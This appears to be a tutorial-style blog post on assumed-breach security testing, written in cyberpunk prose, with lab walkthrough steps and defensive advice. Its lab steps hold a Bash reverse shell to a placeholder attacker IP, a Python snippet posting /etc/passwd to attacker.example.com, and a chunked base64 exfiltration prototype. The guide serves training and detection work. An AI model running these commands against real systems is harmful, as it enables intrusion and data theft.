The Assumed Breach Scenario

⏳ 9 min read min read

Table of Contents

    Cybersecurity Illustration

    You are drifting through neon alleys of data, the hum of servers like distant thunder, wires shimmering under flickering LEDs, you feel the pulse of systems straining beneath the weight of invisible watchers. Here in this wired underworld, nothing is sacred, and nothing is safe. The border walls you build with firewalls, IDS and IPS are old relics, yet everyone bets on them. They believe in walls, gates, turrets. But what if the gate is already ajar? What if the intruder is already inside, breathing your network’s oxygen, sipping credentials, mapping your secrets?

    Welcome to the Assumed Breach scenario. You are the detective in a dystopian cyber-cityscape, not after the break-in, but amid it. Your task is no longer prevention alone, it is detection, containment, eradication. This is a post-compromise narrative, where an attacker has wormed in, hidden in your shadow, sharpened their claws. And you, wide-eyed newbie to the dark craft, must learn to see in the half-light, to recognise signs of movement, to anticipate the next strike.

    What is “Assumed Breach”? Think of it as smart paranoia built into your security strategy. It begins with the premise that perimeter defenses, VPNs, firewalls, external pen-tests, have already failed. You simulate an attacker who has achieved initial access, whether via phishing, a supply-chain weakness, insider error, or zero-day exploit. From that foothold you test lateral movement, privilege escalation, data staging, exfiltration, persistence, whilst keeping the mimicry low-profile as a real adversary would. You aim to find out how far they can move before your blue team flips the alarm switch. (bulletproof.co.uk)

    Why adopt this mindset? Legacy “castle and moat” security models assume that outer walls suffice. But modern threat actors don’t always knock, they waltz in. Zero Trust, continuous monitoring, detection of Indicators of Compromise (IoCs), rapid response, these become core, not optional. In the Assumed Breach model you stop caring so much about “if they get in” and focus on “what happens next, how fast you notice, how cleanly you stop, how little damage remains.” (isemag.com)

    Key Phases of an Assumed Breach Assessment

    To understand this approach, let us walk through its phases. Each phase mirrors the movements of an actual adversary inside your digital corridors.

    1. Foothold Establishment
      A low-privileged user account, a single endpoint. Maybe credentials from an unsuspecting employee. Perhaps malware quietly installed. The idea is realism. The breach is not spectacular, just believable. (silentgrid.com)

    2. Internal Reconnaissance and Discovery
      The intruder explores your network map, they find which machines talk to which servers, scan for open shares, misconfigured permissions, unpatched OSes. This is discovery of AD relationships, service accounts, backup repositories. (silentgrid.com)

    3. Privilege Escalation
      From standard user to admin, maybe from local admin to domain admin. Here lies the meat: exploiting misconfigurations, credentials left in scripts, unprotected services. If Active Directory is poorly configured, the attacker travels straight to the crown jewels. (redops.at)

    4. Lateral Movement & Persistence
      The attacker hops through your network, using legitimate tools (PowerShell, WMI, remote desktop) to stay under the radar. They establish backdoors, scheduled tasks, or leverage trusted relationships between machines. Their goal: maintain presence while avoiding detection. (silentgrid.com)

    5. Data Discovery, Staging & Exfiltration
      Once in, they locate sensitive data, PII, financial records, intellectual property. They stage it: collect, compress, hide. Then exfiltrate using covert channels. DNS-tunnelling, encryption, or even cloud services. (silentgrid.com)

    6. Detection & Response Testing
      Everywhere along the way, you watch: do your SIEM logs catch anomalies? Does your EDR flag privilege escalations? Your incident response (IR) process must kick in. You test for false negatives, timeframe for response, decision-making under uncertainty. (netsurion.com)

    Actionable Insights & Hard Skills to Practice

    You want to begin building competence in this space. Here are hands-on experiments and code-snippets that new enthusiasts can try, responsibly, in controlled lab environments only. Warning: misuse or deployment outside safe environments may violate laws and policies.

    Detecting Lateral Movement: PowerShell Log Auditing (Lab Example)

    powershell
# On Windows endpoints enable PowerShell script block logging
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable transcription to capture commands run interactively
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1

    This lets logs retain script blocks and transcription so suspicious movements (e.g. invoking Invoke-Command, New-PSDrive, or Invoke-Mimikatz) are visible. Use Event Viewer on Windows or export logs to your SIEM.

    Privilege Escalation Enumeration: Bash Tutorial

    bash
#!/bin/bash
# Quickly discover common Linux misconfigurations
echo "Checking for writable sudoers... "
sudo grep -R "NOPASSWD" /etc/sudoers /etc/sudoers.d/

echo "Checking world-writable files... "
find / -xdev -type f -perm -0002 2>/dev/null

echo "Listing kernel exploits... "
uname -r
ls /usr/src/linux-headers-$(uname -r) 2>/dev/null

    Run this in virtual machines you control. It reveals weak sudo rules, careless file permissions, obvious privilege vectors.

    Simulating Data Exfiltration Patterns: Python Prototype

    python
import os, time, base64
def exfiltrate_fake_data(file_path, dest_server):
    with open(file_path, 'rb') as f:
        data = f.read()
    encoded = base64.b64encode(data)
    # Simulate small chunk uploads – avoid large suspicious traffic
    for i in range(0, len(encoded), 1024):
        chunk = encoded[i:i+1024]
        # send to server (dummy): replace with safe loop / simulation
        # WARNING: Do not run this against external servers without authorization
        print(f"Uploading chunk {i//1024} to {dest_server}")
        time.sleep(0.1)

if __name__ == "__main__":
    exfiltrate_fake_data("secret_data.txt", "http://localhost/upload")

    Use it only in an isolated lab; emphasis is on small, covert chunking, base64 encoding, a hallmark of how real exfiltration tools might obfuscate transfers.

    Mapping Attack Paths in Active Directory

    Tools such as BloodHound can graph relationships in Active Directory domains to show which user or machine has what privileges, especially paths to domain controllers or service accounts. Use BloodHound in your lab tenant; study its queries, container relationships, “ShortestPathsToDomainAdmin” metrics. Make your own visuals to internalise what “privilege chain” means.

    Key Defensive Strategies to Adopt

    While testing is thrilling, defence is the real art. Keep these in your toolkit:

    • Zero Trust Model: Treat everything, user, device, network, as untrusted until proven otherwise. Apply least privilege, micro-segmentation, device posture checks.
    • Network Segmentation & Isolation: Separate critical systems from general user zones. If an endpoint in one network is compromised you don’t want easy pathways into sensitive resources.
    • Continuous Monitoring & Alert-ing: Focus on internal traffic, not just ingress/egress. Look for anomalous authentications, lateral host communications, privileges being escalated.
    • Effective Incident Response (IR): You need well-defined, rehearsed response plans. Who does what when? How are logs collected? How quickly do you isolate machines?
    • Rigorous Patch Management & Configuration Auditing: Many assumed breach paths exploit unpatched systems, weak defaults, misconfigured ACLs in Active Directory or cloud IAM.

    Learning with an Assumed Breach Scenario

    Aim

    To equip readers with the skills to simulate an assumed breach, investigate it systematically and improve detection and response capabilities by working through hands-on examples.

    Learning outcomes

    By the end of this guide you will be able to:

    • Design and deploy a realistic breach scenario in a test environment
    • Identify key indicators of compromise (IoCs) and detect malicious behaviour
    • Collect and analyse artefacts such as logs, processes and network traffic
    • Write scripts or commands to automate detection and response tasks
    • Evaluate and harden existing security controls based on simulated findings

    Prerequisites

    • Basic knowledge of operating systems (Windows and Linux), networking, threat models and common attack techniques
    • Tools: access to at least one Linux host, one Windows host; logging server or SIEM (e.g. Elastic Stack, Splunk, or open source alternatives)
    • Access to packet capture tools (e.g. tcpdump, Wireshark) and process inspection tools (e.g. ps, Task Manager, PowerShell Get-Process)
    • Python 3 installed with libraries like scapy or socket for crafting network traffic

    Step-by-Step Guide

    1. Define your breach scenario

    • Choose an attacker profile (e.g. external adversary, insider) and an objective (data exfiltration, ransomware, espionage)
    • Select attack vector(s), for example credential theft, phishing, lateral movement

    2. Simulate initial compromise

    • On one host, simulate credential abuse: e.g. use SSH with stolen keys on Linux, or RDP with weak credentials on Windows
    • Generate suspicious process on host; e.g. run a reverse shell

    Example: Linux reverse shell simulation using Bash 

    bash
# On attacker machine:
nc -lvp 4444
# On compromised host:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

    3. Perform internal reconnaissance and lateral movement

    • Enumerate internal hosts, services, shares
    • On Windows host, use PowerShell to list services and running processes

    Example: PowerShell to list services and running processes 

    powershell
Get-Service | Where-Object { $_.Status -eq 'Running' }
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10

    4. Exfiltrate data and persist access

    • Script data copy to unmonitored channel (e.g. HTTP, DNS exfiltration)
    • Establish persistence using scheduled tasks or cron jobs

    Python example: HTTP exfiltration of a file 

    python
import requests

url = 'https://attacker.example.com/upload'
files = {'file': open('/etc/passwd', 'rb')}
response = requests.post(url, files=files)
print(response.status_code)

    5. Monitor and collect indicators of compromise

    • Set up logging: system logs, auth logs, network traffic captures
    • Capture suspicious network flows with tcpdump on Linux 
    bash
tcpdump -i eth0 host attacker_ip and port 4444 -w breach_capture.pcap
    • On Windows, enable Audit Process Creation and collect PowerShell logs

    6. Analyse artefacts and triage findings

    • Load network captures into Wireshark or use scapy to script detection
    • Search logs for unusual process names, execution paths, or unexpected new services

    7. Respond and remediate

    • Kill malicious processes, remove persistence mechanisms
    • Reset credentials, patch vulnerabilities used in the breach
    • Apply firewall rules to block malicious outbound traffic

    8. Review and harden defences

    • Review what detection succeeded or failed
    • Implement additional security controls: multi-factor authentication, endpoint detection, improved logging
    • Automate repetitive tasks: develop Python or PowerShell scripts for regular audits

    This guide shows how to carry through a full assumed breach from compromise to remediation. Each step offers practical commands or scripts to act on. Use it in a safe test environment to sharpen your detection and response skills.

    You’re no longer hoping the walls hold, you know they don’t. But you can shape the battlefield beneath them. In the electric haze of breached perimeters, you become the guardian who sees ghosts in the machines. The watcher who knows breach is not catastrophe, if you catch it soon enough. That is your route to mastery in this gritty, wired frontier.